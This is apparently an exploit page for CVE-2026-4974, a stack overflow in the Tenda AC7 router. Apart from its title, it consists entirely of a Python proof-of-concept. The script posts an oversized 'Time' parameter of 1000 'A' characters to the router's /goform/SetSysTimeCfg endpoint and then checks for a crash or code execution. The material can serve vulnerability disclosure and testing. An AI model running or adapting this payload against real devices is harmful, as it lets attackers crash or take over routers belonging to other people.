CVE-2026-4974 Tenda AC7 栈溢出漏洞

import requests # Target configuration target_ip = "192.168.0.1" target_url = f"http://{target_ip}/goform/SetSysTimeCfg" # Construct payload to trigger stack overflow # Adjust the length based on specific buffer size analysis buffer_size = 1000 payload = "A" * buffer_size # POST data parameters data = { "Time": payload, # Additional parameters might be required depending on the form structure } try: print(f"Sending payload to {target_url}...") response = requests.post(target_url, data=data, timeout=5) print(f"Response status code: {response.status_code}") print("Check if the device has crashed or if code execution occurred.") except requests.exceptions.RequestException as e: print(f"An error occurred: {e}")